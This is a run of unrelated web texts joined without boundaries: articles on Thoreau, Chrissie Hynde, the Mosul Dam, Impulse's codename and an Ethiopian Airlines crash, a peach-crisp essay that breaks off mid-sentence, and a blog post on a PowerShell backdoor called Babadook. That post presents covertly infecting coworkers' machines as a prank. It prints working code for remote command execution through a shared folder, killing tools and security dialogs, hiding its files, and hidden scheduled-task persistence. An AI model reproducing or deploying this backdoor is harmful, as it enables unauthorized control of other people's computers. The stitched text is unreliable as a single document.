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In her comprehensive Henry David Thoreau: A Life, Walls—who has previously written about Thoreau’s “turn to science”—calls attention to the pivotal moment when he began to use his journal as he never had before. On November 8, 1850, a year or so after his naturalist’s regimen had begun, Thoreau “wrote up everything he noticed and thought during his daily walk as one long entry.” He did the same the next day, and two days later, Walls notes, and then again a couple of days after that, and the next day, filling pages with a stream-of-consciousness flow of words as if he were writing while walking: “I pluck,” “I heard,” “I saw yesterday,” “I notice.” “And this is what truly staggers the mind,” Walls goes on. “From this point, Thoreau did not stop doing this, ever—not until, dying and almost too weak to hold a pen, he crafted one final entry.” University of Chicago A week after that first extended entry, he wrote, “I feel ripe for something; it is seed time with me—I have lain fallow long enough.” Thoreau went on, “My Journal should be the record of my love.” At the same time, his journal was a repository of constant measurements, minute and expansive: of the depth of streams, the wingspan of a moth, the number of bubbles trapped beneath the frozen surface of the pond. “What are these pines & these birds about? What is this pond a-doing? I must know a little more,” Thoreau had written back in 1846, when his journal had still been a source to plunder for other writing projects, not yet a compendium of exhaustive field notes. Now his quest for unifying order became more focused, and he set out to pursue it by counting the petals on a blossom or the rings in the stump of a fallen tree—hoping not to lose a sense of beauty and mystery in the process. The tension between the particular and the whole wasn’t new. Transcendentalists like Emerson were searching for unity in nature, but resisted what seemed to them the blinkered reliance on deductive reasoning and empirical research enforced by encroaching science. Such methods tended to “cloud the sight,” Emerson said, and he endorsed instead a conception of nature as “the symbol of spirit.” That Emersonian notion of natural phenomena as the embodiment of what his mentor called “ideas in the mind of God” had once thrilled Thoreau, as Walls writes. But by the time Thoreau reoriented his life, he needed more direct contact with the “marrow of nature.” Thoreau had already framed the poet-scientist dilemma in 1842, when he reviewed a series of natural-history reports published by the State of Massachusetts: How could such dry summaries hold any interest for the general reader? Where, Thoreau asked in his review in the Transcendentalist literary magazine The Dial, was the joy of nature? Reading Humboldt’s most popular books, Cosmos, Views of Nature, and Personal Narrative, during his evenings of study, Thoreau learned a way of weaving together the scientific and the imaginative, the individual and the whole, the factual and the wonderful. A vast array of observations, Humboldt insisted, revealed “unity in diversity”—each fact and detail of nature threading together into an interconnected whole. Even before he adopted his systematic regimen, Thoreau’s journal—packed with observations about the songs of birds, the chirping of crickets, the careless pace of the fox, the scent of musk, the “dreamy motions” of fish’s fins—was proof of his visceral relationship to nature. In Thoreau and the Language of Trees, the writer Richard Higgins describes Thoreau sniffing the bark of twigs, listening to the creaking of hardwoods in winter, sampling the taste of lichens (he liked rock tripe and Iceland moss best), delighting in the play of light and shadow in the canopy of trees. University of California “We must look a long time before we can see,” Thoreau had concluded in his Dial essay on the “Natural History of Massachusetts,” pronouncing that “the true man of science … will smell, taste, see, hear, feel, better than other men.” Moving beyond Emerson’s grand and spiritual ideas of nature, Thoreau became part of a lively scientific discourse, aware of the latest discoveries, and he used the libraries at Harvard and the Boston Society of Natural History extensively. He collected fish specimens for the zoologist and geologist Louis Agassiz at Harvard. And though he was a little squeamish about gathering birds’ eggs for another scientist there, he agreed to commit “deliberate murder” if the advancement of science demanded it.
A mid-'70s visa scare had Chrissie Hynde contemplating desperate measures to stay in the U.K. — even marrying a couple of her friends in the Sex Pistols . The future Pretenders leader made her way from Ohio to London in 1973, and as she later told the Daily Telegraph , she quickly fell in love with the city. "I knew nobody when I got here. It was real good for my own personal discovery," she explained. "I didn't have anyone saying to me, 'Oh, my God, you're wearing hot pants. I can't believe you're wearing hot pants.' Because nobody knew me. I could do and say and think anything I wanted." But as she recounts in her recently released memoir Reckless: My Life as a Pretender , by 1976, she was on the verge of being kicked out of the country — without a visa, she couldn't get a job, and she'd resorted to "doing dumb s--- to get by" like planning (but ultimately dropping out of) a traveler's check scam. In her desperation, she turned to her friend John Lydon , aka Sex Pistol singer Johnny Rotten, with an eye toward getting married so she could stay in the country. Unfortunately (or fortunately, depending on how you look at it), this was just as the Pistols started taking off, and Lydon was preoccupied with avoiding the increasing heat of the spotlight — and things were further complicated when Lydon's bandmate Sid Vicious accused Hynde of hatching the plan "'Cause now he's a rock star you can have his baby and get his money!" Quickly chastened, Vicious ended up offering to marry Hynde himself — but when the would-be newlyweds arrived at the registrar's office to tie the knot, they found it closed. "The next day wouldn't work," wrote Hynde, "as Sid had to go to court for putting someone's eye out with a glass." Hynde would remain at loose ends for a couple more years, at one point attempting to start a group with future Clash leader Mick Jones, and — as she recounts in her book — suffered plenty of low moments along the way. But by the end of the decade those days were behind her, marked by the release of her band's classic self-titled debut . See the Pretenders and Other Rockers in the Top 100 Albums of the '80s
Story highlights U.S. airstrikes destroy 90 targets in Mosul dam fight, Pentagon says Ridding Iraq of ISIS forces a must for U.S., expert says ISIS threatens "America will disappear from map" Dam battle shows Kurdish, Iraqi forces can take the fight to ISIS, President Obama says U.S. airstrikes helped Kurdish and Iraqi forces take control of Mosul Dam on Monday, fighting back ISIS militants who had seized the dam, President Obama told reporters. The stakes were huge for the millions of Iraqis who live downstream from the dam, the largest in the country. "If that dam was breached it could have proven catastrophic, with floods that would have threatened the lives of thousands of civilians and endangered our embassy compound in Baghdad," the President said. The dam has been the center of an intense battle in northern Iraq between the Islamic extremists and Kurdish forces that had been fighting to retake it since Saturday with U.S. air support. "The U.S. military used fighters, bombers, attack and unmanned aircraft to conduct 35 strikes, " said Pentagon spokesman Rear Adm. John Kirby. "We destroyed over 90 targets including a range of vehicles, equipment and fighting positions," he said. JUST WATCHED Kurdish forces fight for Mosul Dam Replay More Videos ... MUST WATCH Kurdish forces fight for Mosul Dam 02:31 JUST WATCHED U.S. airstrikes drive ISIS from Mosul dam Replay More Videos ... MUST WATCH U.S. airstrikes drive ISIS from Mosul dam 01:54 JUST WATCHED ISIS storms town, captures 100 women Replay More Videos ... MUST WATCH ISIS storms town, captures 100 women 01:17 JUST WATCHED Who are the Peshmerga? Replay More Videos ... MUST WATCH Who are the Peshmerga? 01:01 Now that the dam is cleared of ISIS militants, Iraqi forces are moving to grow their area of control, the Pentagon said. "This operation demonstrates that Iraqi and Kurdish forces are capable of working together and taking the fight to ISIS," Obama said. "If they continue to do so, they will have the strong support of the United States of America." Taking the fight to ISIS U.S. airstrikes may not be enough to do the job of ridding Iraq of ISIS forces, said retired Col. Cedric Leighton, a former Air Force intelligence officer. "At the core of the mission is to get rid of ISIS," he said. "The U.S. cannot have a Middle East in which ISIS exists," he said. The brutal attacks of ISIS militants as they took control of towns and villages in northern Iraq forced hundreds of thousands of people to flee. "ISIS tells people to pay or convert," said one Christian man who fled ISIS forces. A Christian village near Mosul Dam is almost deserted. Some of its residents fled just in time to a monastery in the mountains. Now she said she hopes ISIS fighters won't reach the monastery. The U.S. strategy in fighting ISIS is "to take out Isis' leadership, to degrade their operational capabilities, to cut off their financing sources," U.S State Department spokeswoman Marie Harf said Monday. On several ISIS websites, the group posted a message Monday threatening that "America will disappear from the map soon on the hands of knights of al-Khilafa," a reference to the caliphate ISIS claims it wants to recapture. Water in war When ISIS militants seized the dam this month, many feared it could be used as a weapon. Built in the early 1980s under former Iraqi dictator Saddam Hussein, the dam sits on the Tigris River about 50 kilometers (30 miles) north of the city of Mosul. It serves as a key source of electricity, irrigation and flood protection. ISIS has a track record of attacking its enemies with water. This year, its fighters opened the gates on the Falluja Dam in central Iraq after seizing it in an effort to stop an Iraqi military advance. The water from the dam flooded a number of villages. "ISIS has already used other smaller dams to gain control of territory, to pressure Sunnis to support them and to punish the Shiites," Daniel Pipes, president of the Middle East Forum, told CNN this month. The 3.2-kilometer-long Mosul Dam holds back as much as 12.5 million cubic meters of water, according to Engineering News-Record, a construction industry website. If the structure were to give way, it would unleash a wall of water tens of feet tall that would race down the Tigris toward Mosul and its 1.7 million inhabitants. It would also bring flooding to major cities farther downstream, including Baghdad. 'Very poor foundation' But even if the militant group doesn't try to destroy the dam, concerns remain about its sturdiness. A U.S. Army Corps of Engineers report in 2006 said that what made the dam especially dangerous was the risk of internal erosion of its foundations. The structure is built on layers of soil that dissolve or erode in water. The Army Corps said the dam was "constructed on a very poor foundation" that wasn't designed for the conditions. Seepage has plagued the structure since the reservoir behind it was filled, according to a U.S. government report in 2007, and sinkholes have appeared near the structure, suggesting problems beneath the surface. During the American military occupation of Iraq, U.S. authorities spent tens of millions of dollars on short-term repairs on the dam. But with the immense structure now in the midst of a conflict zone, it remains unclear if it will get the maintenance it needs anytime soon.
Superman, Batman, and Max Mercury have all been cited as giving comic-book speedster Bart Allen the name Impulse. Batman most famously in Impulse #50, and Superman in the previews for All-Flash #1. (The final lettering simply said “He was code-named Impulse,” sidestepping the issue). But who named him originally? The name first appears on the cover of Flash #93 (August 1994), with an out-of-control Bart Allen fighting the Flash. The cover is captioned, “Brash Impulse!” Over the next few issues, Wally West’s inner monologue refers to Bart as being impulsive, or (at one point) as “Mr. Impulse.” It first appears on-panel as a name in Zero Hour #3 (September 1994), when Bart meets Superman for the first time, but Bart introduces himself as Impulse. Dan Jurgens writes. Superman arrives in Keystone to see Velociraptors chasing Bart. Superman: Dinosaurs from the merging timelines! Need a hand, kid? Bart: Call me Kid Flash — and get your big “S” handed to you! The name’s Impulse! After the events of Zero Hour, the name is explained in Flash v.2 #95 (November 1994), written by Mark Waid. Wally and Bart are running through the city. Wally: If we’re going to do this hero thing, let’s do it right. You need a code name. Bart: How about “Kid Flash?” Wally: Huh, well… Bart: Pfffft! Just kidding. “Kid Flash.” Yeah, right…. Save yourself the brainpower. You already gave me a name. Repeatedly. Bart stops and kisses a random woman on the street (yes, Bart). Bart: I’m Impulse! Wally: How terrifyingly accurate. And the mask? Bart: Are you kiddin’ me? I saw so many guys wearing ’em, I just figured it was a law. Fast forward several years. (Thanks to Crazy Penguin for pointing this one out and scanning it) Secret Origins 80-Page Giant (December 1998) tells the origins of the members of Young Justice. In the Mark Waid–written Impulse story, the following exchange appears: Carol: So who named you Impulse? Bart: Batman. I have no idea why. Was he being funny? Eight months later, Todd Dezago had just taken over as the third regular writer on Impulse. He started out with an unusual team-up in Impulse #50 (July 1999): Impulse and Batman against the Joker. At the end of the issue, Impulse asks Batman a question: Impulse: Wally said that you named me “Impulse”…what’s up with that?! Batman: Wally misunderstood. I never meant for Impulse to be your name…. It was meant to be a warning. Oddly enough, I don’t recall much complaining about the retcon. Jump forward another half-decade, to the beginning of Bart’s brief career as the Flash. Danny Bilson and Paul Demeo have just taken over as series writers. A dream/origin sequence in Flash: The Fastest Man Alive #2 (September 2006) states, “It was Max who first dubbed me ‘Impulse.'” Fans across the Internet raged at this retcon, even asking about it at conventions, complaining about the “poor research.” A year later, a 6-page preview of All-Flash #1 (September 2007) has Mark Waid back as writer. In it, Wally West thinks back on Bart’s life: “The boy was flaky, unpredictable, and had the attention span of a bullet. Superman code-named him Impulse, and it was probably the first thing that ever stuck to him.” The funny thing is, all that fans seemed to remember at the time about Impulse’s naming was Batman. Not the name he chose himself. Countdown #43 reiterates the Batman version as Robin speaks at Bart’s funeral: “I remember it was Batman who first called him Impulse… and for a while, the name stuck. I never thought he’d take things seriously enough to be the Flash.” Finally, in the published art for All-Flash #1, the wording has been altered from what was in the preview. It now simply says, “He was code-named Impulse,” rather than “Superman code-named him Impulse,” side-stepping the question entirely. So in the final tally, we have 3 votes for Batman, 1 for Bart himself, and 1 for Max. Part of me (the part that spent two years as an English Literature major) still thinks I should have titled this, “Today we Have Namings of Bart,” but I’m not sure how many people would get the reference. Originally published at K-Squared Ramblings Share
All 90 people aboard an Ethiopian Airlines plane were feared dead after it plunged into the Mediterranean, minutes after taking off from Beirut in a thunderstorm today. Flight ET409, a Boeing 737-800, heading for Addis Ababa, disappeared off the radar some five minutes after taking off at 2:37 a.m. (0037 GMT). The Lebanese army said the plane had broken up in the air before plummeting into rough seas. Witnesses described the impact as a "flash that lit up the whole sea" and a "ball of fire". We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras. A UK Foreign Office spokeswoman said: "We can confirm that one British national and one dual national were on board Ethiopian Air flight number ET 409 departing from Beirut to Ethiopia, that crashed into the sea off the coast of Lebanon early this morning. "A British Royal Air Force helicopter, based in Cyprus, has joined the Lebanese authorities' search and rescue operation. Our thoughts are with the families of all those involved in this tragedy." Also on board was the wife of the French ambassador to Lebanon, according to a French embassy official. Lebanese President Michel Suleiman said he did not think the plane had been brought down deliberately, emphasising "a sabotage attack is unlikely". Defence Minister Elias el-Murr also said there was no evidence of a terrorist attack and that weather was "in principle" to blame for the crash. Ethiopian Airlines CEO Girma Wake said he had spoken with Lebanese authorities who had no word of survivors. Eighty-three passengers and seven crew were on the flight, Lebanese Transport Minister Ghazi al-Aridi said at the airport. Twenty-four bodies, including those of two toddlers, have so far been recovered. At least six bodies were of Ethiopian origin, officials said. Some of the bodies were so unrecognisable from the impact of the crash that DNA testing would be needed to identify them. The remains of mangled aircraft seats and luggage washed up on the shore south of Beirut where the airport's main runway is located. Lebanese army patrol boats, helicopters and divers searched an area off Na'ameh, 10 km (six miles) south of the capital. Fifty-four of those on board were Lebanese, 22 were Ethiopian, two were British and there were also Canadian, Russian, French, Iraqi, Syrian, and Turkish nationals. Marla Pietton, wife of the French ambassador to Lebanon Denis Pietton, was on the plane, the French embassy said. The Lebanese government declared a day of mourning. Prime Minister Saad al-Hariri visited the airport to meet distraught relatives waiting for news of survivors, some of whom were angry that the plane was allowed to take off in bad weather. "They should have delayed the flight for an hour or two to protect the passengers. There had been strong lightning bolts and we hear that lightning strikes at planes especially during take-offs," a relative of one of the passengers told a local television station. Girma said he did not think the crew would have taken off in dangerous weather conditions. "There was bad weather. How bad it is, I will not be able to say. But, from what I see, probably it was manageable weather otherwise the crew would not have taken off," he told reporters in the Ethiopian capital Addis Ababa. A 14-strong investigation team from Ethiopia including Ethiopian Airlines officials arrived by plane in Beirut to help probe the causes of the crash. Boeing said it was coordinating with the U.S. National Transportation Safety Board to assist Lebanese authorities in the investigation. U.N. peacekeepers in Lebanon, Cypriot police, the British military stationed in Cyprus and the U.S. navy provided helicopters, ships and divers to aid search and rescue. State-owned Ethiopian Airlines has positioned itself as a major player in international air traffic in Africa and has recently expanded its Asian network. Girma said the plane, built in 2002, last underwent a maintenance check on Dec. 25 and no technical problems were found. The plane had been leased from a division of U.S. financing company CIT Group. Ethiopian airlines has regular flights to Lebanon, catering for business clients and the thousands of Ethiopians who work there as domestic helpers. Lebanese aviation sources said some of the passengers had been en route to Angola and other African countries. Last Friday the airline announced an order for 10 of Boeing's Next-Generation 737-800s for a total price of $767 million. The last incident involving Ethiopian Airlines was in Nov. 1996 when 125 of the 175 passengers and crew died after a hijacked Boeing 767 crashed off the Comoros Islands. The crash is the fifth incident involving the loss of a Boeing 737-800, according to the Flight Safety Foundation. We’ll tell you what’s true. You can form your own view. At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads. Subscribe now
At my previous company I used to prank the colleagues who left their stations unlocked. I call this my “internal awareness program”. It was all fun and games at the beginning. I would leave post-its on their monitors with a friendly message “You could’ve been hacked” but it wasn’t giving the expected results. Some colleagues found it funny and started “collecting” my post-its. There was a guy in particular with 5 of them. It was evident harder measures had to be taken. I’ve escalated the awareness program by replacing post-its to emailing the whole team with the message “I was reckless and left my computer unlocked”. Everybody would laugh about it but still wasn’t giving the needed outcome: People locking their desktops when away from the station. Overcoming restrictions I came to the conclusion that my colleagues would only learn the lesson if in fact they got hacked somehow, so I decided to make a backdoor so I’d be able to mess with their machines remotely. Turns out that we were in a fairly constrained environment: No direct connections between machines: VLAN isolation User-only access, no admin privileges, cannot install anything Corporate anti-virus in use, cannot use off-the-shelf solutions So I started thinking what could I do with what I had in hands. As we were using Windows 7, one powerful tool came to my mind: POWERSHELL. Aw yiss! I still needed to overcome some situations, no direct connections, inability to open sockets and so on. As we were all members of the same team, we had access to the some shared folders and that was the vector that popped my mind. I would place a script on this shared folder and my backdoor would read this script and kinda eval() it. Simple and effective. $SharePath = "\\ournas\ourteamfolder\somesubfolder" $MyPID = $( [System.Diagnostics.Process] ::GetCurrentProcess()).Id $Interval = 10 $CurrMachineCmdPath = " $($SharePath) \cmd. $($env:COMPUTERNAME) . $($MyPID) .ps1" # ... some code # Command parsing loop While ($true) { If (Test-Path $CurrMachineCmdPath) { Try { & $CurrMachineCmdPath Clear-Content $CurrMachineCmdPath } Catch [system.exception] { Log "Error running script: $_" } # end :: try/catch } # end :: if Start-Sleep $Interval } #end :: while So by using the shared folder strategy and using powershell I’d solve the isolation problem AND the antivirus problem at once. I’ve added Clear-Content so the script would only run the code once. I’ve skipped lunch for a day and rigged a quick and dirty POC. Tested on my machine, found a colleague that had left the machine unlocked and BAM, it was working. After some days of fun, they started figuring out and killing my powershell process from the task manager. I needed to make the backdoor resilient. Enter Babadook The name came from an excellent scary movie (I trully recomend you to watch it!) I’d seen a while ago called The Babadook @ IMDB, which had the quote “If it’s in a word or in a look, you can’t get rid of the Babadook”. That’s the motto I would follow to my backdoor. Make it unkillable as long as reasonably possible. Stealthiness wasn’t a big deal. Once I’d started playing the “Super Mario Theme Song” on their PC Speakers my presence would be spotted. I kinda also wanted them to know and after some while after they came back to their stations and realized they had left it unlocked, they knew they had been pranked. Multi-threading and the Watchdog routine I quickly concluded that I’d needed to make my backdoor multi-threaded to have something watching my back while the main routine was waiting for commands. Powershell’s “Jobs” functionality would fit. I’ve created a Watchdog function which were merely a while ($True) loop sending Stop-Process -processname taskmgr and ignoring errors (if the Task Manager wasn’t running). I did the same for cmd.exe , wscript.exe and cscript.exe just to be safe. Stop-Process -processname taskmgr -Force -ErrorAction SilentlyContinue Stop-Process -processname cmd -Force -ErrorAction SilentlyContinue Stop-Process -processname wscript -Force -ErrorAction SilentlyContinue Stop-Process -processname cscript -Force -ErrorAction SilentlyContinue This also effectively blocks running .bat and .vbs files since the interpreter has no chance to fully load before being killed by Babadook. That worked for a while until IT released a GPO update blocking powershell remoting and thus blocking the use of powershell Jobs. *sadface* So the quest for an alternative began and remembering how powershell and .NET integrate beautifully I was sure I could use some Somelongnamespace.Threading.Something .NET voodoo to accomplish that. Turned out the solution was way easier by using powershell’s Runspaces. $Watchdog = { # code here } # "If it's in a word or in a look, you can't get rid of the babadook" $Global:BabadookWatchdog = [PowerShell] ::Create().AddScript($Watchdog) $Global:WatchdogJob = $Global:BabadookWatchdog.BeginInvoke() # ... code ... # Stop Watchdog If ($Global:BabadookWatchdog -And $Global:WatchdogJob) { Log "Stopping Babadook Watchdog" # No EndInvoke because we won't return (while true loop) and we don't care about the return anyway $Global:BabadookWatchdog.Dispose() | Out-Null Log "Watchdog disposed" } # end :: if It worked as a charm! My watchdog was up again killing Task Manager immediatly as the window would (try) to appear. My colleagues were going crazy. NOTE: Up to this moment I’ve been facing some issues with BeginInvoke which seems to fail to run ever once in a while, still debugging this issue. With Jobs I’ve never had this issue, instead I had issues where when the Job wasn’t properly stopped, it would run forever and required a reboot to die since the Watchdog wouldn’t let me open a powershell session. There can be only one In order to ensure that nobody would try to play smart and open a powershell window and try to use the Get-Process and Stop-Process to try to kill my backdoor, I’ve added the functionality to the watchdog to kill all powershell processes which were not his own. Upon start I’d save my process ID into a variable and use that to check the other powershell processes. Function Kill-PS { Stop-Process -processname powershell_ise -Force -ErrorAction SilentlyContinue # Kill powershell_ise.Exe # Kill powershell processes which are not me $AllPS = [array] $(Get-Process | Where-Object { $_.ProcessName -eq "powershell" -And $_.Id -ne "$MyPID" }) If ($AllPS.Count -gt 0) { ForEach ($Proc in $AllPS) { Stop-Process -Id $Proc.ID -Force -ErrorAction SilentlyContinue } # end :: foreach } # end :: if } # end :: Kill-PS Also, no Powershell ISE here! You can’t Run but I can hide! At the same time my colleagues were desperately trying to kill Babadook, I was also doing the same to ensure I could cover the holes before they were able to get to it. I’ve realized that someone could just invoke the taskill command directly from the “Run” dialog and that was bad (for me), so I needed a way to prevent that dialog from coming up. As this is a built-in dialog and not a process, I wasn’t able to take down on the classical way (with Stop-Process ) so I’ve appealed to .NET extensions to grab some Windows API calls in order to enumerate the foreground window and if the title was what I wanted, kaboom!. Add-Type @ " using System; using System.Runtime.InteropServices; using System.Text; public class APIFuncs { [DllImport(" user32.dll ", CharSet = CharSet.Auto, SetLastError = true)] public static extern int GetWindowText(IntPtr hwnd,StringBuilder lpString, int cch); [DllImport(" user32.dll ", SetLastError=true, CharSet=CharSet.Auto)] public static extern IntPtr GetForegroundWindow(); [DllImport(" user32.dll ", SetLastError=true, CharSet=CharSet.Auto)] public static extern Int32 GetWindowTextLength(IntPtr hWnd); [DllImport(" user32.dll ", SetLastError=true, CharSet=CharSet.Auto)] public static extern int SendMessage(int hWnd, uint Msg, int wParam, int lParam); public const int WM_SYSCOMMAND = 0x0112; public const int SC_CLOSE = 0xF060; } " @ Function Kill-Run { $ForegroundWindow = [apifuncs] ::GetForegroundWindow() $WindowTextLen = [apifuncs] ::GetWindowTextLength($ForegroundWindow) $StringBuffer = New-Object text.stringbuilder -ArgumentList ($WindowTextLen + 1) $ReturnLen = [apifuncs] ::GetWindowText($ForegroundWindow,$StringBuffer,$StringBuffer.Capacity) $WindowText = $StringBuffer.tostring() if ($WindowText -eq "Run" ) { [void][apifuncs] ::SendMessage($ForegroundWindow, [apifuncs] ::WM_SYSCOMMAND, [apifuncs] ::SC_CLOSE, 0) } # end :: if } # end :: Kill-Run Hiding in plain sight To add a sleight of fear, I’d thought it would be nice to hide my Babadook files since if my victim could find the command script on the shared folder, he could add some code there to kill Babadook and end my party, so a little code to get this sorted out was added to the Watchdog: Function Hide-Me { If (Test-Path $ScriptPath) { $(Get-Item $ScriptPath -Force).Attributes = "Archive,Hidden" } If (Test-Path $CurrMachineCmdPath) { $(Get-Item $CurrMachineCmdPath -Force).Attributes = "Archive,Hidden" } If (Test-Path $LogPath) { $(Get-Item $LogPath -Force).Attributes = "Archive,Hidden" } Set-ItemProperty HKCU : \\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced -Name Hidden -Value 2 # Don't display hidden files } # end :: Hide-Me The last line adds an entry to the Registry turning on the option “Don’t display system and hidden files”. As this was on the While ($true) loop, even if the user turned that off, it would be turned back on immediately. Take no shortcuts With my anti-kill countermeasures in place, I was thinking on more ways to kill Babadook to improve the Watchdog, so it came to my mind that one could create a shortcut for taskill so I’ve made a little modification to my “Run Killer”: # ... some code if ($WindowText -eq "Run" -Or $WindowText.Contains( "Properties" )) { [void][apifuncs] ::SendMessage($ForegroundWindow, [apifuncs] ::WM_SYSCOMMAND, [apifuncs] ::SC_CLOSE, 0) } # end :: if # ... more code That would take care of popping out the “Properties” dialog out of any file. Booya! When everything else fails, reboot! I’m sure there are some other ways to kill my process but that was enough for the moment (and I needed to get some lunch anyway). So people started realizing that a reboot was the only way to get rid of the Babadook. I couldn’t leave this that way and needed a a persistence method. I first thought about the “Run” key on the registry but that might need admin privileges, so why not resort to our well known scheduled tasks? Popped up a code to copy the Babadook script to the local machine with a random name and create the new task to run “At Logon”, “On Idle” and “Daily at 8AM”. function Babadook-Persist { $CharSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" .ToCharArray() $NewName = $(Get-Random -InputObject $CharSet -Count 8 | % -Begin { $randStr = $null } -Process { $randStr += [char] $_ } -End { $randStr }) + ".ps1" $NewPath = " $($env:LOCALAPPDATA) \ $($NewName) " Install-Task $NewPath } # end :: Babadook-Persist function Install-Task ($BBDPath) { $CommandArguments = "-executionpolicy bypass -windowstyle hidden -f `" $($BBDPath) `" " $taskRunAsuser = [Environment] ::UserDomainName + "\" + $env:USERNAME $service = new-object -com( "Schedule.Service" ) $service.Connect() $rootFolder = $service.GetFolder( "\" ) Try { $rootFolder.GetTask( "\Babadook" ) | Out-Null Log "Babadook persist task already installed" } Catch { Log "Copying Babadook to local machine at `" $($BBDPath) `" " Copy-Item $script:MyInvocation.MyCommand.Path $BBDPath -Force Log "Installing Babadook persist task" $taskDefinition = $service.NewTask(0) $regInfo = $taskDefinition.RegistrationInfo $regInfo.Description = 'Ba-ba-ba DOOK DOOK DOOK' $regInfo.Author = $taskRunAsuser $settings = $taskDefinition.Settings $settings.Enabled = $True $settings.StartWhenAvailable = $True $settings.Hidden = $True $triggers = $taskDefinition.Triggers # Triger time $triggerDaily = $triggers.Create(2) $triggerDaily.StartBoundary = " $(Get-Date -Format 'yyyy-mm-dd' ) T0800" $triggerDaily.DaysInterval = 1 $triggerDaily.Enabled = $True # Trigger logon $triggerLogon = $triggers.Create(9) $triggerLogon.UserId = $taskRunAsUser $triggerLogon.Enabled = $True # Trigger Idle $triggerIdle = $triggers.Create(6) $triggerIdle.Enabled = $True $Action = $taskDefinition.Actions.Create(0) $Action.Path = 'powershell.exe' $Action.Arguments = $CommandArguments $rootFolder.RegisterTaskDefinition( 'Babadook' , $taskDefinition, 6, $null , $null, 3) | Out-Null } # end :: try/catch } # End :: Install-Task For more information on Task Scheduler options, check the MSDN Technet documentation. That was working beautifully until I realized I needed some concurrency control. Of course my “There can be only one” code would kill the competitors but I needed something more elegant and Mutexes came to my mind. Added a code for that also: # Wait for mutex [bool] $MutexWasCreated = $false $BabadookMutex = New-Object System.Threading.Mutex($true, $BabadookMutexName, [ref] $MutexWasCreated) if (!$MutexWasCreated) { Log "Babadook Mutex found, waiting release..." $BabadookMutex.WaitOne() | Out-Null Log "Babadook Mutex acquired" } else { Log "Babadook Mutex installed" } # end :: if # ... code ... # Release Mutex Log "Releasing Babadook Mutex" $BabadookMutex.ReleaseMutex(); $BabadookMutex.Close(); And of course I needed to prevent them from opening the “Scheduled Tasks” dialog. Since a Stop-Process to the mmc process was giving me “Access Denied” (it runs in some kind of UAC), I needed to take the .NET approach. Modified my “IF” to consider that: if ($WindowText -eq "Run" -Or $WindowText.Contains( "Properties" ) -Or $WindowText.Contains( "Task Scheduler" )) { [void][apifuncs] ::SendMessage($ForegroundWindow, [apifuncs] ::WM_SYSCOMMAND, [apifuncs] ::SC_CLOSE, 0) } # end :: if Recap So far we got: Connection-less command execution (full powershell language incl. .NET extensions + system()-like with Start-Process ) ) Watchdog / Userkit (userland “root”kit) Persistence Concurrency control And that worked well enough for me :) It’s not about the money So if you read until here you might probably been wondering: “Did you really skipped those lunches just to mess up your colleagues?” Well, kinda. It was a great learning and they surely got the message. No one now leaves their session unlocked. :) When the news hit my team leader (how they called the Boss at the company) he saw this was a good way to show upper management and the other teams the dangers of an insider, how basic malware works and escalated the Babadook as a truly internal awareness program, so it turned out to be a great deal for everyone (except for a few really pissed off teammates). Code As always, you can get the Babadook source at my github.
The thing about travelling to amazing places and spending all your time absorbing new sights and sounds and smells is that sometimes you get homesick. This past weekend, homesickness crept up and surprised me in the middle of a trip to the French countryside where the landscape was so beautiful it felt like we were walking through a painting: wide expanses of green fields and forests, medieval stone barns dotted throughout, rotting rose vines climbing 12 century churches, rolling hills of champagne vineyards, old wooden farm houses with crooked stairs, and a heavy fairytale fog. It happens; for reasons I cannot explain, the experience of true beauty – in life or art – often makes me feel sad and achey in my bones. But this was different. I was at the top of La Tour Cesar looking over the red rooftops of the medieval town of Provins when I suddenly thought that I would give it all up – all this beauty, all this wonderful experience – for a chance to be back in my old apartment in Vancouver with my old bed and my old house plants, listening to the sounds of the port to fall asleep. The memories made my stomach turn over and I thought I might cry in front of all my new road trip companions, but I didn’t. Instead I spent a good chunk of the next two hours chastising myself for feeling homesick. It felt like betrayal, like I wasn’t as grown up as I thought I was, or that I was ungrateful or overly sensitive or weak. Now that I’m back in the city and thinking clearly in the absence of intense stimuli, I realize that it is perfectly normal to feel homesick when moving to a foreign country. Even Gertrude Stein, who lived in Paris for most of her adult life, was homesick for America sometimes! This I know because I brought Alice B. Toklas’s cookbook/memoir along with me for the trip, and as it turns out, most of her recipes are concerned with recreating American dishes in France for Gertrude, who missed American food. If I had been reading this book while still living in Canada, I would have thought it was crazy to prefer chicken pot pie to duck confit, but I think I get it now. After being turned away from the one restaurant in town, my road trip companions and I decided to make a feast in our Airbnb on Saturday night, each taking on a dish that we knew how to make well. By some miracle, I was assigned dessert, and so I found myself in an ancient farmhouse in the middle-of-nowhere France with a bunch of strangers (and Anthony) throwing together an apple crisp – a Grandma Tien standard – in an old French tart tin. It wasn’t fancy and it wasn’t French, and I didn’t even have the exact measurements on hand, but the act of baking that simple dish that reminded me so much of home, and then seeing people enjoy it fresh out of the oven, cured my homesickness. I suddenly understood the value of “comfort” food on a whole new level. And besides that, I realized how much I had changed from the girl of a few years ago who got most of her nutrition from frozen pizzas. I’m now someone whose emotional life depends on cooking, at least a little bit. Cooking, as Gertrude Stein, Alice B. Toklas, and countless other writers and chefs have realized before me, is a way to travel – abroad or home. It’s kind of magical. All this is to say that, after making that apple crisp in the countryside last weekend, I was inspired to make another one when we got back to Paris, but with different flavours: peach and basil. That’s the thing about crisps (or crumbles, according to some); the ingredients are probably already in your cupboard, they’re easy as sin to make, and they only benefit from improvisation! The perfect kind of recipe, in my opinion. The idea for a peach basil crisp comes courtesy of reddit, of course, where I got lost in a vortex of unique flavour pairings for stone fruit. But it’s also because peaches remind me of childhood trips to the Okanagan, where fruit stands selling fresh peaches and cherries lined the road. Growing up in Alberta, a ripe peach was a miracle to behold and so the mouth-feel memories of those BC peaches are still strong in me. I don’t know about you, but I have never eaten peaches and basil together in the same dish. Now that I’ve tried it, I can’t believe I’ve lived 27 years without it. The basil makes the peaches taste like a whole new fruit. In this peach basil crisp, the basil is subtle, but game changing. The mascarpone adds a level of richness that just can’t be compared to regular whipped cream (although whipped cream or ice cream would be a fine substitute if you can’t get your hands on mascarpone). I opted for mascarpone as a topping because the basil was offering a savoury vibe and I knew the peaches were so ripe that the crisp would be hella sweet on its own. Mascarpone almost has the texture of cream cheese; when paired with basil, this crisp is almost a pizza. Weird? No, just very, very yummy. This 